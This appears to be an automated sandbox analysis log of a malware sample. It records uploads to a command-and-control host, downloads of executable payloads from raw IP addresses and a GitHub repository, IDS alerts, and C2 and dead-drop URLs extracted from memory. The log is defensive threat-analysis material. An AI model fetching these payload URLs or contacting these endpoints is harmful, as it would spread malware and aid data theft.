Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5ht.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------rxksg29ZvNSCWaDoRyzO4MData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 78 6b 73 67 32 39 5a 76 4e 53 43 57 61 44 6f 52 79 7a 4f 34 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 6f 73 6f 66 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d8 42 29 e0 58 89 96 92 66 0f 46 17 eb cf 0c 3b 66 c0 37 49 75 2f 38 2b 94 45 43 f9 cd 2e 57 4e 7e dc 07 06 21 e1 7a 3b e5 9b 59 87 0a eb 27 61 a8 3d c1 a2 71 ab a4 8a 24 d9 56 f2 cc b3 91 bf 13 2b 81 d1 95 f9 f0 1a a0 f1 ba 8b 67 98 e4 49 e1 e0 b2 4f 26 e9 69 0d 5a 59 3d 3a 69 f7 0f 46 57 ec 78 94 d4 cc a6 b0 e1 b0 6c 66 49 32 d5 7b c2 74 3d 34 b3 27 e8 5a 6b 46 a0 b8 de 93 f8 2e 25 34 52 d1 98 e2 bf 59 04 c5 da 2a 25 db 43 17 65 41 cd f2 0c 0e bb f7 3a bc b6 06 72 7e 7b ac 99 66 14 d7 48 65 9c 54 8b c0 84 63 4e ba fe c5 b7 24 08 05 1b 18 ca 7d f1 d4 37 00 cb cd 9a 1c 21 ba b3 ea 2a 19 de 75 6f b8 64 a3 a2 5a dc 8b d2 fb f6 15 9f b1 18 73 29 b9 0d 90 53 e0 bb 91 a7 8f d7 b5 15 fc 8c 39 1a df 02 76 8d 84 e4 f0 64 56 11 00 31 a1 95 22 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 78 6b 73 67 32 39 5a 76 4e 53 43 57 61 44 6f 52 79 7a 4f 34 4d 2d 2d 0d 0a Data Ascii: --------------------------rxksg29ZvNSCWaDoRyzO4MContent-Disposition: form-data; name="file"; filename="Vosofo.bin"Content-Type: application/octet-streamB)XfF;f7Iu/8+EC.WN~!z;Y'a=q$V+gIO&iZY=:iFWxlfI2{t=4'ZkF.%4RY%CeA:r~{fHeTcN$}7!uodZs)S9vdV1"--------------------------rxksg29ZvNSCWaDoRyzO4M--
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5ht.topAccept: /Content-Length: 31750Content-Type: multipart/form-data; boundary=------------------------YXlkZShFfs9iK3iOnYAmwlData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 58 6c 6b 5a 53 68 46 66 73 39 69 4b 33 69 4f 6e 59 41 6d 77 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 69 73 65 79 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 50 c9 1b cf d8 6e 28 82 09 99 eb f3 26 43 c1 51 9c 29 31 c7 04 d5 35 88 65 2a c0 94 5e 52 18 4a 22 ce b6 dd b4 6d d5 4e 20 87 de d1 4f ad 7b a1 7d 69 d8 69 1c 65 fd 5a be d6 59 f8 ce 57 65 67 70 af 4e c1 35 9c 15 e1 4d 00 7b 16 e6 15 4a 72 fb 2b a5 99 98 47 58 21 b6 5b 06 87 c0 bc 7d f5 4c 80 8a c3 bc 50 f9 3d 78 8a 2f 06 33 15 8e 1f be e7 b6 9a c1 e8 3e 86 a3 a4 cc d7 bb 80 d1 4c 83 37 ab 34 f9 f3 c4 bd 2e d1 07 7f 7f 6e 2e af 83 de bf 10 ff a2 1f b7 a8 c6 9f 0a 87 7f 90 86 41 35 da d0 7d 7d 12 c6 33 bc 4c 8e 72 b5 e5 9a 1d 76 be 01 29 72 a1 ff a8 e9 58 e9 4f e6 d1 53 a6 09 f2 1b 33 3b 90 84 b3 62 4d 3c 49 8e 46 9c 8a 3b e0 fc 71 1d 7e 61 32 01 2d eb e5 9a da 65 d3 79 3e 89 fd 65 79 9f 80 20 53 8a 5f 9a c2 ef 59 a4 c2 9b 01 33 15 4e 1e 4f 46 e9 11 87 27 0c a4 e1 8c 7f ce 7d 23 6c 23 d0 80 a3 4f 70 ba 09 e8 c3 19 20 1c 59 e0 f8 2b 6a b2 1c 48 0e 71 10 09 5b a8 4b 12 55 6d ba de 38 83 25 c9 f1 6f 29 92 37 f2 87 f6 f7 b1 23 5e 45 fc 51 e4 ea e4 18 1c 17 8a 8f 46 8e 1d 1b 1c ef e2 00 3f f1 8a 08 a9 93 c3 63 76 4c 52 bd 20 af 3c 1b 99 2a 54 f4 a3 ef ed 88 d3 68 64 c2 6b 08 80 04 36 54 f3 7b ae 96 ae 1d 06 3e 18 74 08 9e 59 ee b4 5d a3 11 e9 e6 4c 99 e9 50 41 a9 79 d1 4c 62 86 a4 f5 f1 70 39 81 c3 a2 9f 4f 9f aa 40 60 a0 e4 7b d6 65 b5 1c 65 3c 66 64 0c 23 1d 26 b5 80 73 12 93 50 4a d0 d8 36 c9 2c cb e2 cf 88 f1 75 2d 9e 55 1d 15 b3 52 4f 50 98 a8 8b 7a a0 ea 53 74 10 cd e3 30 cd 70 69 e3 93 24 d2 91 57 11 fd dc 02 86 60 ac af 6d e4 ba 16 39 dd bc 2c f6 6e c7 d5 a7 10 74 20 00 a3 0b 85 a5 d4 66 51 f5 ce e3 a2 2e 44 a0 8c 2b 82 1f d9 ae b3 3c ff 7c 9b a6 9a a2 c3 ba 58 ec 6f 82 f8 03 0d f4 58 41 cf 06 d4 f2 5a c8 40 a2 e0 f3 f6 fc 03 84 9a 61 67 25 35 1d bc 06 02 b6 01 65 47 31 54 0a 2a 73 3e 50 ad 5a f4 c0 b1 88 dc 3c 90 a2 a4 a5 19 ef 02 e2 62 41 2e a1 4a 2d 2f fd 60 75 d8 34 9b ba e7 bb 10 d3 0b 16 f0 33 b7 65 d2 e5 06 f3 de 7c f9 e7 9a dc eb 32 f9 c0 14 d1 46 00 63 6d 38 59 53 42 98 6b 25 3a 6c d4 ca 70 74 38 2b cc 3f 42 79 ec 4c 8f 8b e0 47 17 83 98 6f 89 04 c9 eb fa 12 95 2e 91 55 0e 57 ce a8 7c fb f8 3d ac 83 fb e5 91 d0 d0 0b d6 51 3d 28 10 4f 95 aa 73 c4 d7 0b 79 50 b3 a6 0a ec c0 55 f6 53 1f 9e 60 73 e7 11 1e 1e 20 22 15 da 95 a4 0d 9b 1a a8 16 70 c2 4f 16 2a b7 85 e3 46 52 17 7e 2b 19 1b 7c ba 3e e7 ed 6e b5 06 5b f8 07 29 f6 81 e6 fe bf be 1b 66 47 bd 64 59 95 16 77 f5 af 3d e8 9c

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.121.15.192 185.121.15.192

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49849 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49887 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49920 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49939 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49950 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49958 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49955 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49990 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50020 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50038 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50059 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50067 -> 104.21.21.99:443

Source: global traffic

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004FE0C0 recv,recv,recv,recv,

0_2_004FE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=oOW9CjHaPjxGyBfT1734725622 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5ht.top
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: frostman.shop
Source: global traffic	DNS traffic detected: DNS query: fivetk5ht.top
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe0
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe3pH
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6ncoded
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC=
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.3439936346.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe60
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe1
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: powershell.exe, 00000032.00000002.3187064857.0000000006E8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: 212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F0C000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F0C000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.3173315319.0000000004231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 3514655e0a.exe, 00000011.00000000.2857148874.0000000000423000.00000002.00000001.01000000.00000009.sdmp, random[1].exe.15.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000032.00000002.3173315319.0000000004231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 212ab81242.exe.15.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002EDF000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, random[1].exe2.15.dr	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, random[1].exe2.15.dr	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: 343658ec78.exe, 00000030.00000002.3286099613.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exejR
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com7
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe
Source: 343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.comD
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, a165d57aad8045aabeccfce221a720ca.exe.48.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, a165d57aad8045aabeccfce221a720ca.exe.48.dr	String found in binary or memory: https://t.me/k04ael
Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: 212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, 212ab81242.exe, 0000002F.00000002.3166407119.0000000001609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: 212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/F
Source: 212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiR
